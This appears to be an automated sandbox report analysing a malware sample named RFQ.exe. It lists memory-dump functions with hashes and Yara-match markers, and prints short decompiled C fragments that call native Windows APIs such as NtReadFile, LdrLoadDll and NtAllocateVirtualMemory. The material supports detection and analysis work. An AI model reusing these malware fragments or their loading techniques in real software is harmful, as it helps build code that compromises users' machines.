Opcode Fuzzy Hash: 6754dd5e1ebbda6c99a06f628c270e270f8b595a0362d01673e627d4873c3389
Instruction Fuzzy Hash: D6F06D35B007088BCB16BB78D9545AEB7B5EFC5620F04466EDA5A6B300EF30A985CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0541C520, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0cc52327aa418ed06608a7dca98cdb420050d13a6074b1305f6279e13dc6b65
Instruction ID: 14050935c5a62582fb8306168600d7cd92530411ff8d5f5b7d0265a08fc7605c
Opcode Fuzzy Hash: b0cc52327aa418ed06608a7dca98cdb420050d13a6074b1305f6279e13dc6b65
Instruction Fuzzy Hash: 4EF06231A443514FC719DF2CD881696BBE5FF0631075645A2E4A4CF342C624ECC1C7E6

Uniqueness

Uniqueness Score: -1.00%

Function 00F5D744, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.392378338.0000000000F5D000.00000040.00000001.sdmp, Offset: 00F5D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ffc17f44361610ab53c5f8fe4f5cbb40d5c3ae5f2000362920568a5f91502cc
Instruction ID: 016307579677f40c59aaad97373fb4f1850878da7404091417d5b3c6cf0d3cf8
Opcode Fuzzy Hash: 7ffc17f44361610ab53c5f8fe4f5cbb40d5c3ae5f2000362920568a5f91502cc
Instruction Fuzzy Hash: 28F0F6718053449EEB208E16DDC4BA2FFD8EB85334F18C45AEE080B286D7789C48CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 05411660, Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ae0db73d14b95d4f84f2c77349cb84eaefe7a19353bcb2137c202fa3ed63dc5
Instruction ID: bb0df6c85d8e16ef59892e5aa62044f0c44d7c330be097133f64aa92a8ee6cda
Opcode Fuzzy Hash: 1ae0db73d14b95d4f84f2c77349cb84eaefe7a19353bcb2137c202fa3ed63dc5
Instruction Fuzzy Hash: 29F0E231308A155BC714AB2AE88594A7BE9FB846257104A6DF20BCB321DFA0AC06C7E4

Uniqueness

Uniqueness Score: -1.00%

Function 0541F3F8, Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 190972e0485bd987e026a433c380a8aace5bef48c5a7a8378f93edbf66a2b19e
Instruction ID: 62ecc398abd0b4f6482c58a03b4c7296a36d834db2f1ef86f40565616a39cc2d
Opcode Fuzzy Hash: 190972e0485bd987e026a433c380a8aace5bef48c5a7a8378f93edbf66a2b19e
Instruction Fuzzy Hash: 17F0A434A006158FCB04FB68C81989DBBB5EF84300F018599E5099B261EF709954CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0541C530, Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c970e373859d15c7554c9710997768ebe14d13a5f142533f364b21a05393f28
Instruction ID: 9fecc8d874e7af36144a47e7d20e0e0afd08987aa8ea95b0edbdb4e07adee615
Opcode Fuzzy Hash: 5c970e373859d15c7554c9710997768ebe14d13a5f142533f364b21a05393f28
Instruction Fuzzy Hash: 1DF01731E506128FD31CCF2CE481A56BBE1FB05310B5109A6E064CF742D760E8C0CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 0541C49F, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91846e22c85cc271fec3b5fed2de3e08b31f2ecc0d0e70df0932b6a495c09496
Instruction ID: 58ac3196f48ddb2587f3002e776cf0b60a1ca65cc6951599f8d5ae2c24278bf6
Opcode Fuzzy Hash: 91846e22c85cc271fec3b5fed2de3e08b31f2ecc0d0e70df0932b6a495c09496
Instruction Fuzzy Hash: 2FE092303592311BE71926B868217EE3AC75BA6700F0580BBE489DF6D7CCA98C0607E5

Uniqueness

Uniqueness Score: -1.00%

Function 05411AE0, Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1de1647a77ab84f99b41f1852693d591eb8dff42adfc6ec581e26a86bfc511e
Instruction ID: 3e2b016daa1e0ff5608914692e66516ae1153568d15751e2bd355abf7d8fa439
Opcode Fuzzy Hash: b1de1647a77ab84f99b41f1852693d591eb8dff42adfc6ec581e26a86bfc511e
Instruction Fuzzy Hash: 3BF0DF30210A10CFC318DB28D588C597BE9FF4AB1971648E9E60ACB372CB72EC40CB80

Uniqueness

Uniqueness Score: -1.00%

Function 054170F0, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bddd89dc9ba2dd6e4f71254beebc127f83b81294fe658e7bfd90a71b7618d694
Instruction ID: 6f96f80c0ff47f7684b7e9f26913253b9b69f34880b38568907b9d5c00d89c78
Opcode Fuzzy Hash: bddd89dc9ba2dd6e4f71254beebc127f83b81294fe658e7bfd90a71b7618d694
Instruction Fuzzy Hash: 77E04F72B001182B9B54EAAADC448EFBBFEDBC4190B50C07A9909D7304EA309D4147D4

Uniqueness

Uniqueness Score: -1.00%

Function 0541C4B0, Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6c851212aa0acfef9ee9ac220756880bff1541236c1f00519ba673d04c671f7
Instruction ID: 27a09b6f104675e5a95a4d7c7477bce17dfe7f36859741f1644033d5dee64e51
Opcode Fuzzy Hash: e6c851212aa0acfef9ee9ac220756880bff1541236c1f00519ba673d04c671f7
Instruction Fuzzy Hash: D2E05B3035413513E61831A964117EE304F9BE6F11F40802AF5459F7C6CCE6AC0503D9

Uniqueness

Uniqueness Score: -1.00%

Function 05419224, Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cc3a6dc5409634380eafb5d2acc941c41fc3149f99075fcec029768e12770c8
Instruction ID: 9abc526eef86b8471a4e15edf695a8fe2d9edcd95c74fb51b1513215714d000e
Opcode Fuzzy Hash: 7cc3a6dc5409634380eafb5d2acc941c41fc3149f99075fcec029768e12770c8
Instruction Fuzzy Hash: E7E012303D53188BDB1CEB75A8646767399BF4890D32008FEA60ECE744DA32E8528658

Uniqueness

Uniqueness Score: -1.00%

Function 0541C640, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05c99bacf111784d691e78a2aa168b5ccc9edb12b924534d0316418f1b1dcbad
Instruction ID: 83be7eff427d2b12b1ed2c774adf9b757653c942ed96e65d6371701edf7e8f17
Opcode Fuzzy Hash: 05c99bacf111784d691e78a2aa168b5ccc9edb12b924534d0316418f1b1dcbad
Instruction Fuzzy Hash: D5E026307C42414FD724862C94C4B932681F781310F1104AAE885CB702C648EC82C3D1

Uniqueness

Uniqueness Score: -1.00%

Function 0541C650, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d4a3d1c61bfa4734887df3cf0d22730b05e0a0cd4146d5d2b283117722c03ed
Instruction ID: 43e207fd628406f020528cf40394e5995995764a80a5b04d91e57566de12de8c
Opcode Fuzzy Hash: 4d4a3d1c61bfa4734887df3cf0d22730b05e0a0cd4146d5d2b283117722c03ed
Instruction Fuzzy Hash: 11E04670B843158BD718CB6C9881BA7B6D6FB85210F1108A6E849CBB02DB21EC80CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 05416058, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b78c6cdeff645037a8dbb931d91dc61694fc52ba1487b95a3c3ed393bb4e077
Instruction ID: 9f7a93065ccb07a8d227664ae23044fa8060e1c294d689eb94b4a45b2f126204
Opcode Fuzzy Hash: 7b78c6cdeff645037a8dbb931d91dc61694fc52ba1487b95a3c3ed393bb4e077
Instruction Fuzzy Hash: 59E03931A02208EFC700EFB4E943A697BB9EB41205F1041A8E809DB314EF355E20DF92

Uniqueness

Uniqueness Score: -1.00%

Function 05412674, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c631c5c63b329927d1f5f683ca74d8045f3a1f7ae6003f3b9574bca4e9ab4df
Instruction ID: 4641ec74b2fa1f9d7769bc5e64caeaeceae85897b769baf85eccb14e2859f1cf
Opcode Fuzzy Hash: 8c631c5c63b329927d1f5f683ca74d8045f3a1f7ae6003f3b9574bca4e9ab4df
Instruction Fuzzy Hash: 4CF0A539A05209CFCF14EFA6E5556DDBBB1EB48315F2000AAD905A7340CB725E41CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 0541E35F, Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b08338817316a66b90f48e71907dd4732e7f0bd93f26d7c49f771cb976785770
Instruction ID: 4ef78aa8e4b8712c9518198830ca4cc6dc4259ea6083720e73d075ba8a37f0c9
Opcode Fuzzy Hash: b08338817316a66b90f48e71907dd4732e7f0bd93f26d7c49f771cb976785770
Instruction Fuzzy Hash: CDD0C97A79406027D614259C68D67FB064AC7C566AF69426ABEAAC7388CD889C0312E4

Uniqueness

Uniqueness Score: -1.00%

Function 05416068, Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44a708b0758fddc90299aa2a2056ec776ff0068aaa772014de0e5f2c25fbe6a4
Instruction ID: d00888446998e096dbef56433dbb018617eaa30f5b6bb125573b55764544e70f
Opcode Fuzzy Hash: 44a708b0758fddc90299aa2a2056ec776ff0068aaa772014de0e5f2c25fbe6a4
Instruction Fuzzy Hash: F7E08635A0120CEF8B00EFB4E94285CB7B5FB45304B104198E809D7704DF316F14DB51

Uniqueness

Uniqueness Score: -1.00%

Function 054182B2, Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 811eff58d495dfb0858b91e0dbcc58c310e399d8ebe06ba5e1414b35ec3ece90
Instruction ID: 53c0ec497a0f9700cb89bb61a4282526c2542dee11314ea6587f2e94327507cd
Opcode Fuzzy Hash: 811eff58d495dfb0858b91e0dbcc58c310e399d8ebe06ba5e1414b35ec3ece90
Instruction Fuzzy Hash: D2D0A735184105C7D60C9651D484BE3371CEB00528F08025ADC0A85241C718F403957A

Uniqueness

Uniqueness Score: -1.00%

Function 0541CF30, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 714218923945819c264164bfce4cd778c206206793aa306d8668a16e371a4f30
Instruction ID: b1cced27a085cd39ede984fa0f38134d0a825896840c9e41c87253bd868f7adc
Opcode Fuzzy Hash: 714218923945819c264164bfce4cd778c206206793aa306d8668a16e371a4f30
Instruction Fuzzy Hash: E4D0A7312993844FC7069B3048505913BB89E0A40430940EB994DCF253DA2AD846C335

Uniqueness

Uniqueness Score: -1.00%

Function 05412FA0, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a61e9bfc34e2419f8c049e67d534b00e35bfd332e6559f06246b8fa8962e81f1
Instruction ID: dc43993884074980ccce7a0993809afcf54ea1212a2dfe1e7120c69a5ca7be51
Opcode Fuzzy Hash: a61e9bfc34e2419f8c049e67d534b00e35bfd332e6559f06246b8fa8962e81f1
Instruction Fuzzy Hash: 64D05B362041185FC711BB95E405CEA7B9EEF447A1B004025EE058B228CA319958DBD5

Uniqueness

Uniqueness Score: -1.00%

Function 0541A221, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34bad48281b7ad8c9e7009d44170128941dbed47572313cbd8feee250c9b1378
Instruction ID: c48ce27560e5aa0da416c5be34bac943e92892230f3383b5bf31bc90795aef99
Opcode Fuzzy Hash: 34bad48281b7ad8c9e7009d44170128941dbed47572313cbd8feee250c9b1378
Instruction Fuzzy Hash: 6CC0806159A70C09FBC232F17C12192B75C9E11419B8500B75D4CC4351EC0DE5455575

Uniqueness

Uniqueness Score: -1.00%

Function 054182C0, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bddddd908826c66e0440ad9878fef93b6b2cdcbce570b11257b5a37d585a052
Instruction ID: 58949c4cb121b0ee4d63a79c84f6b463428a6557b932e5e5f9edfc18ea3bdfc9
Opcode Fuzzy Hash: 9bddddd908826c66e0440ad9878fef93b6b2cdcbce570b11257b5a37d585a052
Instruction Fuzzy Hash: E4D0223034460AC7DB0D87A5A448BB7379CBF00219B0800AAE80ECAA80DB02E8528129

Uniqueness

Uniqueness Score: -1.00%

Function 0541E2B9, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c10d249ff661e9c8540bf2323f73039d858ba0578c6d71ae43eb8beaade0daeb
Instruction ID: abf8f15338c531734068b8c8d70f460617c8b3c99e49754a2b08c78fdfc4c6b9
Opcode Fuzzy Hash: c10d249ff661e9c8540bf2323f73039d858ba0578c6d71ae43eb8beaade0daeb
Instruction Fuzzy Hash: 94D012792D02448FC640AB58D48AB647398DF0511AF4501B0A99ED7762CA3DF8035714

Uniqueness

Uniqueness Score: -1.00%

Function 0541D818, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54007ec6b75dcc6e7b2dd4a1c8a82d0a049966fba7536e34e7ba831bcb29bc04
Instruction ID: c012a4c9bc526ddb389354639d3563e8b2fea20fb7935ae7dcd9ea5699f9393b
Opcode Fuzzy Hash: 54007ec6b75dcc6e7b2dd4a1c8a82d0a049966fba7536e34e7ba831bcb29bc04
Instruction Fuzzy Hash: 60C0123620020CBFDB40AAA4C800D963BAAAB08600F609005BA084A215C232E8629BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0541E2C8, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d3f512a2e42e0b132762f038708979ee506aa85957235cc15f63cb79c8e4b76
Instruction ID: f70a418069dde245a852b68afa2eb9a1059759ba1154f981f8586e1e4e57f3ce
Opcode Fuzzy Hash: 4d3f512a2e42e0b132762f038708979ee506aa85957235cc15f63cb79c8e4b76
Instruction Fuzzy Hash: 6AC092313507088FCA84EBA8E549E68B3E8AF48619B8500F5E20DCB332DB35EC018B54

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 075D1D7D, Relevance: 1.4, Strings: 1, Instructions: 176COMMON

Download Yara Rule

Strings

9, xrefs: 075D20A9

Memory Dump Source

Source File: 00000000.00000002.408284924.00000000075D0000.00000040.00000001.sdmp, Offset: 075D0000, based on PE: false

Similarity

API ID:
String ID: 9
API String ID: 0-2366072709
Opcode ID: c677806bb09da328d2670b68962a0a030f7fa3b697dba8f6b7fb598802e2d84d
Instruction ID: 0c122ee410335392ebe62ad617271e14f8de6968ea5867e8034097eb5b5b201c
Opcode Fuzzy Hash: c677806bb09da328d2670b68962a0a030f7fa3b697dba8f6b7fb598802e2d84d
Instruction Fuzzy Hash: 04918DB0E0462D8BDB64DF29CE45BCABBF5BF89300F4181E5D24CA6245E7319E958F06

Uniqueness

Uniqueness Score: -1.00%

Function 075D0006, Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.408284924.00000000075D0000.00000040.00000001.sdmp, Offset: 075D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5d510c2e55297e66a65832126daa1b46d042e22e924fa5c08ca1ed907b5733d
Instruction ID: 23bf34794540b70ee934ab9f0bb226f7074968c099d1f101fce6493ffb5f3cd9
Opcode Fuzzy Hash: e5d510c2e55297e66a65832126daa1b46d042e22e924fa5c08ca1ed907b5733d
Instruction Fuzzy Hash: 5851EEB1D056588BE71DCF6B8C446DAFAF3AFC9200F18C1FAC54CAB225DA3409868F51

Uniqueness

Uniqueness Score: -1.00%

Function 075D0040, Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.408284924.00000000075D0000.00000040.00000001.sdmp, Offset: 075D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c672d2eb915bd1789ff50727772cab6492e7f09e6f74a1c94d1874d12ecd219d
Instruction ID: a8fe5cad2df99211ecd8f97b7bcd70de9b09a9295e5113b2a31ca580b3f666fe
Opcode Fuzzy Hash: c672d2eb915bd1789ff50727772cab6492e7f09e6f74a1c94d1874d12ecd219d
Instruction Fuzzy Hash: 5F416FB1E016188BEB6CCF6B8D4469AFAF7BFC9200F14C1BAC54CA7254DB3049868F55

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RFQ.exe PID: 5652 Parent PID: 7080 RFQ.exeCOMMON

Executed Functions

Function 00419E10, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(BMA,5EB6522D,FFFFFFFF,00414A01,?,?,BMA,?,00414A01,FFFFFFFF,5EB6522D,00414D42,?,00000000), ref: 00419E55

Strings

BMA, xrefs: 00419E32, 00419E40
BMA, xrefs: 00419E4D, 00419E54

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: BMA$BMA
API String ID: 2738559852-2163208940
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: bd248b349f18b2ced93d1e709abaf342431bbeaaaaa26160fd0c904447d41470
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: 45F0B7B2210208AFCB14DF89DC81EEB77ADEF8C754F158649BE1DA7241D630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419E0B, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00419E0B(void* __ebx, intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t21;
				void* _t32;
				intOrPtr* _t33;
				void* _t35;

				_t16 = _a4;
				_t33 = _a4 + 0xc48;
				E0041A960(_t16, _t33,  *((intOrPtr*)(_t16 + 0x10)), 0, 0x2a, _t32);
				_t9 =  &_a32; // 0x414d42
				_t15 =  &_a8; // 0x414d42
				_t21 =  *((intOrPtr*)( *_t33))( *_t15, _a12, _a16, _a20, _a24, _a28,  *_t9, _a36, _a40, _t35); // executed
				return _t21;
			}

0x00419e13
0x00419e1f
0x00419e27
0x00419e32
0x00419e4d
0x00419e55
0x00419e59

APIs

NtReadFile.NTDLL(BMA,5EB6522D,FFFFFFFF,00414A01,?,?,BMA,?,00414A01,FFFFFFFF,5EB6522D,00414D42,?,00000000), ref: 00419E55

Strings

BMA, xrefs: 00419E32, 00419E40
BMA, xrefs: 00419E4D, 00419E54

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: BMA$BMA
API String ID: 2738559852-2163208940
Opcode ID: c33679b382e6bdde0c29e56b404fe5e8b6706e180edfefd1f853ae90ceca90de
Instruction ID: aba11af27b62438099d0834bfdfa6b031bc5a9c200b47ae11c6116239f47aab9
Opcode Fuzzy Hash: c33679b382e6bdde0c29e56b404fe5e8b6706e180edfefd1f853ae90ceca90de
Instruction Fuzzy Hash: 01F0F9B6200108AFCB14CF89CC80DEB77A9EF8C314F158649BE0DA7251C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACD0, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACD0(void* __eflags, void* _a4, intOrPtr _a8) {
				char* _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* _t15;
				struct _OBJDIR_INFORMATION _t17;
				struct _OBJDIR_INFORMATION _t18;
				void* _t30;
				void* _t31;
				void* _t32;

				_v8 =  &_v536;
				_t15 = E0041C650( &_v12, 0x104, _a8);
				_t31 = _t30 + 0xc;
				if(_t15 != 0) {
					_t17 = E0041CA70(__eflags, _v8);
					_t32 = _t31 + 4;
					__eflags = _t17;
					if(_t17 != 0) {
						E0041CCF0( &_v12, 0);
						_t32 = _t32 + 8;
					}
					_t18 = E0041AEA0(_v8);
					_v16 = _t18;
					__eflags = _t18;
					if(_t18 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t18;
				} else {
					return _t15;
				}
			}

0x0040acec
0x0040acef
0x0040acf4
0x0040acf9
0x0040ad03
0x0040ad08
0x0040ad0b
0x0040ad0d
0x0040ad15
0x0040ad1a
0x0040ad1a
0x0040ad21
0x0040ad29
0x0040ad2c
0x0040ad2e
0x0040ad42
0x00000000
0x0040ad44
0x0040ad4a
0x0040acfe
0x0040acfe
0x0040acfe

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD42

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction ID: b21dceb9c17b581325113e7f9749888d8b8163c3e846858d6705abbd9991eecb
Opcode Fuzzy Hash: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction Fuzzy Hash: A8015EB5D4020DBBDF10DBA5DC82FDEB3789F54308F0041AAE909A7281F635EB548B96

Uniqueness

Uniqueness Score: -1.00%

Function 00419D60, Relevance: 1.5, APIs: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00409CD3,?,00414B87,00409CD3,FFFFFFFF,?,?,FFFFFFFF,00409CD3,00414B87,?,00409CD3,00000060,00000000,00000000), ref: 00419DAD

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 5d405ca8330a7760d33d8cb8f94c0e61ce0ec213ce21d6c827413d184fac496c
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: F1F0B2B2211208ABCB08CF89DC85EEB77ADAF8C754F158248BA0D97241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419F3A, Relevance: 1.5, APIs: 1, Instructions: 31
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00419F3A(signed int __eax, intOrPtr _a8, void* _a12, PVOID* _a16, long _a20, long* _a24, long _a28, long _a32) {
				long _t15;
				signed int _t23;

				_t23 = __eax * 0x551a0636;
				_t3 = _a8 + 0xc60; // 0xca0
				E0041A960(_a8, _t3,  *((intOrPtr*)(_a8 + 0x10)), 0, 0x30, _t23);
				_t15 = NtAllocateVirtualMemory(_a12, _a16, _a20, _a24, _a28, _a32); // executed
				return _t15;
			}

0x00419f3b
0x00419f4f
0x00419f57
0x00419f79
0x00419f7d

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041AB34,?,00000000,?,00003000,00000040,00000000,00000000,00409CD3), ref: 00419F79

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: e1b35b28653f6b07248c954791ea8defd081881749ed6df089bde28bea99226b
Instruction ID: bf7949b8c770e73b7f81e396326eb3124c7b0a73be668267e8f232867a77a357
Opcode Fuzzy Hash: e1b35b28653f6b07248c954791ea8defd081881749ed6df089bde28bea99226b
Instruction Fuzzy Hash: 3FF058B2200208ABCB14DF89CC81EA777ACAF88654F118109FE08AB281C230E810CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00419F40, Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041AB34,?,00000000,?,00003000,00000040,00000000,00000000,00409CD3), ref: 00419F79

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: 9c08e1581e5817f7e91e4b21b7a397560e598f802d56d9274a49c90b7c070efe
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: 1EF015B2210208ABCB14DF89CC81EEB77ADEF88754F158549BE08A7241C630F810CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419E8A, Relevance: 1.5, APIs: 1, Instructions: 21
nativeCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00419E8A(signed int __edx, intOrPtr _a4, void* _a8) {
				long _t14;
				void* _t18;
				void* _t21;

				asm("in al, 0xcb");
				asm("sbb [ebx], bl");
				 *(_t21 + __edx * 2 - 0x75) =  *(_t21 + __edx * 2 - 0x75) & 0xffffffec;
				_push(_t21);
				_t11 = _a4;
				_t8 = _t11 + 0x10; // 0x300
				_t9 = _t11 + 0xc50; // 0x40a923
				E0041A960(_a4, _t9,  *_t8, 0, 0x2c, _t18);
				_t14 = NtClose(_a8); // executed
				return _t14;
			}

0x00419e8a
0x00419e8c
0x00419e8e
0x00419e90
0x00419e93
0x00419e96
0x00419e9f
0x00419ea7
0x00419eb5
0x00419eb9

APIs

NtClose.NTDLL(00414D20,?,?,00414D20,00409CD3,FFFFFFFF), ref: 00419EB5

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 686f36b7a85c43006284917821b9ff9d0fa9667e33a7afc8bb46c719154d312a
